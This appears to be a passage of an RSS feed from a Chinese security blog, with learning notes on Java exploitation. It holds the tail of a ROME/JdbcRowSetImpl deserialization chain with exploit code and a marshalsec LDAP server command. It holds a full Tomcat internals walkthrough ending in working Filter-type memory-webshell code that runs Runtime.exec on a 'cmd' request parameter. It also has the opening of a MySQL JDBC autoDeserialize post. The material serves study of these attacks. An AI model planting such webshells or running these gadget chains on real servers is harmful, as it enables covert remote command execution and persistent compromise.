&lt;p&gt;&lt;img src=&quot;QQ_1775550912997.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;实现对 obj2 的 toString 方法的调用，obj2 应设置为 toStringBean&lt;/p&gt;
&lt;p&gt;调用栈以及细节如下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1775551028504.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;jdbcRowSetImpl 链&lt;/h5&gt;
&lt;p&gt;​	Fastjson 和 ROME 链中，可以通过触发 getter 方法 来控制 lookup 的 JNDI 地址为恶意 url ，返回一个 java Reference 对象，让其远程加载恶意 class 执行静态代码，或是加载本地 BeanFactory&lt;/p&gt;
&lt;p&gt;存在如下 getter 方法&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1775568634406.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;跟进 connect 方法&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1775568716245.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;getDataSourceName 方法返回该类的 dataSource&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1775568775310.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;exp 如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import java.lang.reflect.Field;
import javax.management.BadAttributeValueExpException;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main{
    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl rs = new JdbcRowSetImpl();
        rs.setDataSourceName(&quot;ldap://127.0.0.1:9999/Exploit&quot;);

        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
        ToStringBean x1 = new ToStringBean(JdbcRowSetImpl.class,rs);

        setFieldValue(bad,&quot;val&quot;,x1);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(&quot;ser.ser&quot;));
        out.writeObject(bad);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream(&quot;ser.ser&quot;));
        input.readObject();
        input.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;大概第三次可以触发 getDatabaseMetaData 方法，进而触发 JNDI 。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;java -cp  marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#calcEvil 9999
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1775570266937.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;参考文章&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;https://xz.aliyun.com/picture-cat?id=5&amp;amp;childid=73&lt;/p&gt;
</content:encoded></item><item><title>java-内存马学习</title><link>https://fuwari.vercel.app/posts/post13-java_memshell/1/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/post13-java_memshell/1/</guid><description>java_mem</description><pubDate>Thu, 05 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h5&gt;Tomcat 基础&lt;/h5&gt;
&lt;p&gt;​	Tomcat可以看成是Web服务器加上Servlet容器，通过 Connector 组件接受并解析 HTTP 请求，然后封装成一个 ServletRequest 对象（org.apache.catalina.connector.RequestFacade 对象）发送给 Container 处理，容器处理完后将响应封装为 ServletResponse 返回给 Connector ,Connnector 将 ServletResponse 对象解析为 HTTP 响应返回给客户端。&lt;/p&gt;
&lt;p&gt;Tomcat Server大致分为三个组件，Service、Connector、Container&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Service 负责连接 Connector 与 Container ,connector 监听网络端口，解析客户端的 http 请求，封装成 ServletRequest 对象然后通过 Service 转发给 Container,以及接受并解析 Container 返回的 ServletResponse 对象为 http 响应。不同的 Connector 可以处理不同的请求协议，然后调用所属 Service 内绑定的 Container ，即 engine ，实现路由分级。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Container 包含四个子容器 Engine Host Context Wrapper 。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Engine 从一个或多个与之绑定的 Connector 接收已经被解析好的 HTTP 请求 &lt;code&gt;ServletRequest&lt;/code&gt;，然后根据请求的域名信息，将请求分发给下面的 Host 处理。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;可以在同一个 Tomcat 上配置 &lt;code&gt;www.baidu.com&lt;/code&gt; 和 &lt;code&gt;www.google.com&lt;/code&gt; 两个 Host。当 Engine 收到请求时，Host 会根据 HTTP 请求头中的 &lt;code&gt;Host&lt;/code&gt; 字段来接收这个请求。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Context 负责管理该应用内的所有资源、读取该应用的 &lt;code&gt;web.xml&lt;/code&gt; 配置文件、初始化监听器（Listener）和过滤器（Filter）等&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Wrapper 有一张图很合适描述，借用的一位师傅博客的图片&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1772459462188.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;ServletContext&lt;/h5&gt;
&lt;p&gt;​	基于 Servlet 规范定义的一个接口，每一个 web 应用都有唯一的 ServletContext 对象，同一个web 应用下的 Servlet Filter Listener 都能访问。其中定义的方法可以存储一些数据，用于共享。可以获取 web 应用 web.xml 下的一些参数，读取 web 应用内部文件数据等&lt;/p&gt;
&lt;h5&gt;ApplicationContext&lt;/h5&gt;
&lt;p&gt;​    tomcat 中实现了 ServletContext 接口的类，内部持有 StandardContext 的引用。一般返回的都是 context.getFacade() ，例如 request.getSession().getServletContext(); 得到的就是一个 ApplicationContextFacade 对象。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public ApplicationContext(StandardContext context) {
    super();
    this.context = context;
    this.service = ((Engine) context.getParent().getParent()).getService();
    this.sessionCookieConfig = new ApplicationSessionCookieConfig(context);

    // Populate session tracking modes
    populateSessionTrackingModes();
}
private final StandardContext context;
private final ServletContext facade = new ApplicationContextFacade(this);
protected ServletContext getFacade() {
        return this.facade;
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ApplicationContextFacade 类中持有对 ApplicationContext 的引用。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public ApplicationContextFacade(ApplicationContext context) {
    super();
    this.context = context;

    classCache = new HashMap&amp;lt;&amp;gt;();
    objectCache = new ConcurrentHashMap&amp;lt;&amp;gt;();
    initClassCache();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;StandardContext&lt;/h5&gt;
&lt;p&gt;内部维护了各种 Map 和 List，用来存放所有的 Servlet Wrapper、 Filter 、Listener。拥有自己的 WebappClassLoader，负责加载项目 WEB-INF/classes 和 WEB-INF/lib 下的类，保证不同 Web 应用之间的类隔离。负责这个 Web 应用的启动、停止、重加载。 tomcat 下的底层 context。&lt;/p&gt;
&lt;h4&gt;tomcat 类加载机制&lt;/h4&gt;
&lt;p&gt;​	tomcat 中有多个 webapp&lt;/p&gt;
&lt;h5&gt;Servlet&lt;/h5&gt;
&lt;p&gt;​	java web 服务一般由 web 服务器和 Servlet 两部分组成。web 容器处理 http req res,把网络底层传来的原始 HTTP 报文解析成了方便 Java 操作的对象 &lt;code&gt;HttpServletRequest&lt;/code&gt;，然后交给了 Servlet,Servlet 读取参数,获取 URL 中的查询参数或者表单提交的数据，读取请求体，请求头，可以执行与数据库交互，鉴权等业务逻辑，业务逻辑处理完之后，将返回结果装到 web 容器提供的 HttpServletResponse 对象中，web 容器将其打包成 HTTP 报文返回客户端&lt;/p&gt;
&lt;h5&gt;Filter&lt;/h5&gt;
&lt;p&gt;像 go 的中间件一样，在业务逻辑之前对 http 请求进行处理，不改变业务核心代码的同时增添额外的逻辑。&lt;/p&gt;
&lt;p&gt;执行顺序的问题，Filter执行顺序&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;基于注解配置：按照类名的字符串，值小的先执行&lt;/li&gt;
&lt;li&gt;web.xml：根据对应的 Mapping 顺序，上边的先执行&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;Listener&lt;/h5&gt;
&lt;ol&gt;
&lt;li&gt;监听生命周期&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;ServletContextListener&lt;/code&gt;&lt;/strong&gt;：监听整个 Web 应用的启动和关闭。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;通常用来在应用刚启动时，加载全局配置文件、初始化数据库连接池&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;HttpSessionListener&lt;/code&gt;&lt;/strong&gt;：监听 Session 对象的创建和销毁。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;ServletRequestListener&lt;/code&gt;&lt;/strong&gt;：监听每一次 HTTP 请求的到达和结束。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;可以用于在请求创建时记录时间戳，销毁时相减，从而统计算法的执行耗时；或者用于在请求初期初始化一些绑定在当前线程上的上下文变量等&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;监听属性变化&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;ServletContextAttributeListener&lt;/code&gt;&lt;/strong&gt;：监控全局应用域内部变量的增删改。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;HttpSessionAttributeListener&lt;/code&gt;&lt;/strong&gt;：监控会话域内部变量的变化。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;实现单点登录或异地登录互踢。当监听到某个用户的登录态 Token 被写入新的 Session 时，可以触发逻辑去作废该账号之前的旧 Session。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;ServletRequestAttributeListener&lt;/code&gt;&lt;/strong&gt;：监控请求域内部变量的变化。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;大概可以分为以下三类&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ServletContextListener&lt;/li&gt;
&lt;li&gt;HttpSessionListener&lt;/li&gt;
&lt;li&gt;ServletRequestListener&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;三者的加载顺序为 &lt;code&gt;Listener-&amp;gt;Filter-&amp;gt;Servlet&lt;/code&gt; 销毁顺序相反。&lt;/p&gt;
&lt;h4&gt;Tomcat 内存马&lt;/h4&gt;
&lt;p&gt;Tomcat7.x 及以上 支持 Servlet 3.0。Servlet 3.0 之后支持动态注册组件，内存马原理是动态地将恶意组件添加到正在运行的Tomcat服务器中。&lt;/p&gt;
&lt;h5&gt;Servlet 型 (todo)&lt;/h5&gt;
&lt;h5&gt;Listener 型 （todo）&lt;/h5&gt;
&lt;p&gt;ServletContextListener 只在 web 应用启动时触发一次，所以不合适作为内存马，并且它的事件对象 ServletContextEvent 里只有全局上下文，根本没有具体的 Request 和 Response 对象，无法读取通过 HTTP 传来的payload&lt;/p&gt;
&lt;p&gt;HttpSessionListener 只能监听 session 产生变化，除去不方便触发以外，也拿不到 http 请求,回应的 res req 对象，没办法执行命令。&lt;/p&gt;
&lt;p&gt;ServletRequestListener 是最合适的，&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1772525459993.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;Filter 型&lt;/h5&gt;
&lt;p&gt;http req --&amp;gt; server --&amp;gt; filter_1 --&amp;gt; filter_2 --&amp;gt; servlet  , 动态注册恶意 filter ，将其放在最前面避免被其他 filter 干扰。&lt;/p&gt;
&lt;p&gt;web.xml&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;web-app xmlns=&quot;http://xmlns.jcp.org/xml/ns/javaee&quot;
         xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;
         xsi:schemaLocation=&quot;http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd&quot;
         version=&quot;4.0&quot;&amp;gt;
    &amp;lt;filter&amp;gt;
        &amp;lt;filter-name&amp;gt;filter&amp;lt;/filter-name&amp;gt;
        &amp;lt;filter-class&amp;gt;filter&amp;lt;/filter-class&amp;gt;
    &amp;lt;/filter&amp;gt;
    &amp;lt;filter-mapping&amp;gt;
        &amp;lt;filter-name&amp;gt;filter&amp;lt;/filter-name&amp;gt;
        &amp;lt;url-pattern&amp;gt;/filter&amp;lt;/url-pattern&amp;gt;
    &amp;lt;/filter-mapping&amp;gt;
&amp;lt;/web-app&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 filter.doFilter 处下断点得到调用栈&lt;img src=&quot;QQ_1772595191755.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;filter.doFilter() --&amp;gt; ApplicationFilterChain.doFilter() --&amp;gt; internalDoFilter(req,res) , internalDoFilter 方法中遍历 filters 中的元素，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;执行 getFilter() 方法，经过下面的 if 判断，走入的是下面的 else 分支，调用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;filter.doFilter(request, response, this);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;进入了 WsFilter.doFilter() 方法，然后继续走回了 ApplicationFilterChain 的 doFilter 方法中。然后继续调用 internalDoFilter 方法&lt;img src=&quot;QQ_1772592611848.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里的 filter 是 WsFIlter ,tomcat 初始化时注册的。&lt;img src=&quot;QQ_1772594695955.png&quot; alt=&quot;img&quot; /&gt;&lt;img src=&quot;QQ_1772594483131.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;chain 是 ApplicationFilterChain&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因此调用 chain.doFilter 方法就由回到了 ApplicationFilterChain 的 doFilter 方法中，继续走这个循环直到最后一个 filter&lt;img src=&quot;QQ_1772594606971.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里不会进入 for (pos &amp;lt; n) 分支下，进入该分支，最后调用 service 方法&lt;img src=&quot;QQ_1772595303229.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果要基于 filter 创建一个内存马，需要找到哪些地方的代码实现了 filter 的创建，基于此创建一个恶意 filter。&lt;/p&gt;
&lt;p&gt;总体调用栈如下，doFilter 之前的调用栈实现了 filter 的创建。&lt;img src=&quot;QQ_1772541001166.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;从 Thread.run() 到 NioEndpoint$SocketProcessor.doRun() ，Tomcat 内部维护的一个线程池，当一个 http 请求进来时分配一个线程处理这份请求，&lt;img src=&quot;QQ_1772543059081.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这些部分应该是处理原始 tcp 字节流，识别 HTTP 方法、请求路径（/filter）、请求头（Headers）等信息，封装成一个 org.apache.coyote.Request 对象传入 CoyoteAdapter.service 方法&lt;/p&gt;
&lt;p&gt;该方法将 org.apache.coyote.Request 对象封装成 org.apache.catalina.connector.RequestFacade 对象，并且解析请求 url,参数等，将其分到相应的 context (web 应用)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;postParseSuccess = postParseRequest(req, request, res, response);
if (postParseSuccess) {
    //check valves if we support async
    request.setAsyncSupported(
            connector.getService().getContainer().getPipeline().isAsyncSupported());
    // Calling the container
    connector.getService().getContainer().getPipeline().getFirst().invoke(
            request, response);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再次引用这张图片，当前就是  connector --&amp;gt; service 阶段，&lt;img src=&quot;image-20260304121713031.png&quot; alt=&quot;image-20260304121713031&quot; /&gt;&lt;/p&gt;
&lt;p&gt;前文提到 Service 负责将 connector 和 engine 连接起来，将收到 的 connector 监听到的请求传递给与之关联的顶层容器 engine （Service 不提供转发数据的功能，属于是提供联系方式的作用）&lt;/p&gt;
&lt;p&gt;然后每个容器 engine host context wrap 都关联了一个单独的 Pipeline 实例，Pipeline 维护了一个 Valve 列表，并负责按顺序调用它们。 valve 是 tomcat 处理请求的最小单元，每个 pipeline 有一组 valve ，相继调用，最后一个 valve 会分发这个请求到合适的子容器，比如 host 的 pipeline 的最后一个 valve 会将 req res 传递到对应的 context，可以理解为不同层级 pipeline的 basicValve 的 invoke() 是在选择相应的子容器.因此就有了接下来的一系列 invoke&lt;img src=&quot;QQ_1772620902509.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;engine valve 应该就是engine容器 pipeline 中的 basic valve，而 host 容器的 pipeline 的 valve 是 AccessLogValve,ErrorReportValve,最后一个是 HostValve，以此类推，Context 容器的 pipeline 的第一个 valve 是 AuthenticatorBase ...... 到 warp 的 basicValve 的 invoke 方法调用了 filterChain.doFilter() 方法。&lt;/p&gt;
&lt;p&gt;filterChain&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Create the filter chain for this request
ApplicationFilterChain filterChain =
        ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中的参数 wrapper ,最后一个 valve 并没有 servlet,需要回头找他隶属的 wrap 对象，该对象内部有 Servlet 对象 ，通过 wrapper.allocate() 拿到 servlet 对象。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;StandardWrapper wrapper = (StandardWrapper) getContainer();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;跟进 createFilterChain 方法。其中 ApplicationFilterChain&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Implementation of javax.servlet.FilterChain used to manage the execution of a set of filters for a particular request. When the set of defined filters has all been executed, the next call to doFilter() will execute the servlet&apos;s service() method itself.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;public static ApplicationFilterChain createFilterChain(ServletRequest request,
        Wrapper wrapper, Servlet servlet) {

    // If there is no servlet to execute, return null
    if (servlet == null) {
        return null;
    }

    // Create and initialize a filter chain object
    ApplicationFilterChain filterChain = null;
    if (request instanceof Request) {
        Request req = (Request) request;
        // 一般不会进入这个分支，容易报错
        if (Globals.IS_SECURITY_ENABLED) {
            // Security: Do not recycle
            filterChain = new ApplicationFilterChain();
        } else {
            filterChain = (ApplicationFilterChain) req.getFilterChain();
            if (filterChain == null) {
                filterChain = new ApplicationFilterChain();
                req.setFilterChain(filterChain);
            }
        }
    } else {
        // Request dispatcher in use
        filterChain = new ApplicationFilterChain();
    }

    filterChain.setServlet(servlet);
    filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());

    // Acquire the filter mappings for this Context
    StandardContext context = (StandardContext) wrapper.getParent();
    FilterMap filterMaps[] = context.findFilterMaps();

    // If there are no filter mappings, we are done
    // 从这里开始如果 filterMaps 不为空，会去获取需要的 filter mappings 信息，context.findFilterMaps()从 Web 应用中拿到所有的 Filter 映射规则。把 web.xml 里写的 &amp;lt;filter-mapping&amp;gt; 标签，或者 @WebFilter 注解生成的规则，读取成一个数组
    if ((filterMaps == null) || (filterMaps.length == 0)) {
        return filterChain;
    }

    // Acquire the information we will need to match filter mappings
    // 获取调度器类型，urlpath servletname 为下文遍历匹配
    DispatcherType dispatcher =
            (DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);

    String requestPath = null;
    Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR);
    if (attribute != null){
        requestPath = attribute.toString();
    }

    String servletName = wrapper.getName();

    // Add the relevant path-mapped filters to this filter chain
    for (FilterMap filterMap : filterMaps) {
        if (!matchDispatcher(filterMap, dispatcher)) {
            continue;
        }
        if (!matchFiltersURL(filterMap, requestPath)) {
            continue;
        }
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
                context.findFilterConfig(filterMap.getFilterName());
        if (filterConfig == null) {
            // FIXME - log configuration problem
            continue;
        }
        // 全部匹配则将当前 filter 加入 filterChain
        filterChain.addFilter(filterConfig);
    }

    // Add filters that match on servlet name second
    for (FilterMap filterMap : filterMaps) {
        if (!matchDispatcher(filterMap, dispatcher)) {
            continue;
        }
        if (!matchFiltersServlet(filterMap, servletName)) {
            continue;
        }
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
                context.findFilterConfig(filterMap.getFilterName());
        if (filterConfig == null) {
            // FIXME - log configuration problem
            continue;
        }
        filterChain.addFilter(filterConfig);
    }
	// 第一个 for 按照 &amp;lt;url-pattern&amp;gt; 匹配，第二个按照 servlet-name 匹配
    // Return the completed filter chain
    return filterChain;
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来只需构造 evil filtermaps、filterconfig ，等加载进去就达到了目的。&lt;/p&gt;
&lt;p&gt;filterMaps 中的数据对应 web.xml 中的 filter-mapping 标签&lt;/p&gt;
&lt;p&gt;必要属性为 dispatcherMapping、filtername、urlpatterns ，因为 if 分支的判断就是比对这些数据，如图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1772626271715.png&quot; alt=&quot;img&quot; /&gt;&lt;img src=&quot;QQ_1772626071335.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;filterConfig 包含了 StandardContext、filterDef 等， filterDef 对应web.xml中的 filter 标签。&lt;/p&gt;
&lt;p&gt;filterDef必要的属性为filter、filterClass、filterName&lt;img src=&quot;QQ_1772626130027.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;filterMaps 来自于 StandardContext 的 findFilterMaps 方法，于是进入 StandardContext 类查找看看有没有增改 filtermaps 的方法。找到如下两种方法。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    /**
     * Add a filter mapping to this Context at the end of the current set
     * of filter mappings.
     *
     * @param filterMap The filter mapping to be added
     *
     * @exception IllegalArgumentException if the specified filter name
     *  does not match an existing filter definition, or the filter mapping
     *  is malformed
     */
    @Override
    public void addFilterMap(FilterMap filterMap) {
        validateFilterMap(filterMap);
        // Add this filter mapping to our registered set
        filterMaps.add(filterMap);
        fireContainerEvent(&quot;addFilterMap&quot;, filterMap);
    }


    /**
     * Add a filter mapping to this Context before the mappings defined in the
     * deployment descriptor but after any other mappings added via this method.
     *
     * @param filterMap The filter mapping to be added
     *
     * @exception IllegalArgumentException if the specified filter name
     *  does not match an existing filter definition, or the filter mapping
     *  is malformed
     */
    @Override
    public void addFilterMapBefore(FilterMap filterMap) {
        validateFilterMap(filterMap);
        // Add this filter mapping to our registered set
        filterMaps.addBefore(filterMap);
        fireContainerEvent(&quot;addFilterMap&quot;, filterMap);
    }

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;evil filterconfig 通过 ApplicationFilterChain#addFilter 方法添加到 filters 中的，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;   /**
     * Add a filter to the set of filters that will be executed in this chain.
     *
     * @param filterConfig The FilterConfig for the servlet to be executed
     */
    void addFilter(ApplicationFilterConfig filterConfig) {

        // Prevent the same filter being added multiple times
        for(ApplicationFilterConfig filter:filters) {
            if(filter==filterConfig) {
                return;
            }
        }

        if (n == filters.length) {
            ApplicationFilterConfig[] newFilters =
                new ApplicationFilterConfig[n + INCREMENT];
            System.arraycopy(filters, 0, newFilters, 0, n);
            filters = newFilters;
        }
        filters[n++] = filterConfig;

    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;总体思路就是&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;先拿到当前应用的 StandardContext 对象&lt;/li&gt;
&lt;li&gt;创建 evil filter,&lt;/li&gt;
&lt;li&gt;使用 FilterDef 对 filter 封装，添加比对所需要的属性，使用ApplicationFilterConfig 封装 filterDef&lt;/li&gt;
&lt;li&gt;创建 filtermap 对象，通过以上两种 addFilterMap 方法将 filtermap 对象写入 StandardContext 对象的 filterMaps 中&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1772627746288.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这样完成了 web 应用启动后的 filter 的添加，通过这个 evil filter 执行命令。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//// 1. 获取 standardContext 对象

// 获取 ApplicationContextFacade 类
ServletContext servletContext = request.getSession().getServletContext();
 
// 获取 ApplicationContextFacade 类中的属性 context 即ApplicationContext 类
Field applicationContextField = servletContext.getClass().getDeclaredField(&quot;context&quot;);
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
 
// 获取 ApplicationContext 类中的属性 context 即 StandardContext 类
Field standardContextField = applicationContext.getClass().getDeclaredField(&quot;context&quot;);
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);


//// 2. 创建 evil filter

public class Filter_mem implements Filter {
    
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        String cmd=request.getParameter(&quot;cmd&quot;);
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }catch (NullPointerException n){
            n.printStackTrace();
        }
    }
}

//// 3. 使用 FilterDef 对 filter 封装，添加比对所需要的属性，
Filter_mem filter = new Filter_mem();
String name = &quot;Filter_mem&quot;;
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);



//// 4. 创建 filtermap 对象，通过以上两种 addFilterMap 方法将 filtermap 对象写入 StandardContext 对象的 filterMaps 中
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern(&quot;/*&quot;);
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);

//// 5. 获取 standardContext 中的属性值 filterConfigs ，一个map 对象， 然后通过反射构造 ApplicationFilterConfig 对象并封装 filterDef，然后将 ApplicationFilterConfig 对象 put 进 map 。
Field filterConfigsField = StandardContext.class.getDeclaredField(&quot;filterConfigs&quot;);

filterConfigsField.setAccessible(true); 

HashMap&amp;lt;String, ApplicationFilterConfig&amp;gt; filterConfigs = 
        (HashMap&amp;lt;String, ApplicationFilterConfig&amp;gt;) filterConfigsField.get(standardContext);


Constructor&amp;lt;?&amp;gt; constructor = ApplicationFilterConfig.class.getDeclaredConstructor(
            org.apache.catalina.Context.class, 
            FilterDef.class);

constructor.setAccessible(true); 
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);      

filterConfigs.put(filterName, filterConfig);
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>mysql_jdbc_反序列化学习</title><link>https://fuwari.vercel.app/posts/post12-jdbc/1/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/post12-jdbc/1/</guid><description>java_jdbc</description><pubDate>Mon, 23 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;JDBC 是 java 与数据库交互的一组 api&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Class.forName(&quot;com.mysql.cj.jdbc.Driver&quot;); 
String sql = &quot;SELECT id, username FROM users WHERE status = ?&quot;;

try (Connection conn = DriverManager.getConnection(url, user, passwd);
     PreparedStatement pstmt = conn.prepareStatement(sql)) {    
    
    pstmt.setInt(1, 1);     
    try (ResultSet rs = pstmt.executeQuery()) {
        while (rs.next()) {
            int id = rs.getInt(&quot;id&quot;);
            String username = rs.getString(&quot;username&quot;);          
        }
    }     
} catch (SQLException e) {
    e.printStackTrace();
} 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;配置了 &lt;code&gt;autoDeserialize=true&lt;/code&gt; 时，JDBC 驱动在解析服务端返回的数据时，会去检查二进制数据的 Magic Bytes。如果发现返回的字节流是以 &lt;code&gt;AC ED 00 05&lt;/code&gt;（Java 序列化数据的标准开头）开头的，会自动调用 &lt;code&gt;ObjectInputStream.readObject()&lt;/code&gt; 方法将其还原为 Java 对象。&lt;/p&gt;
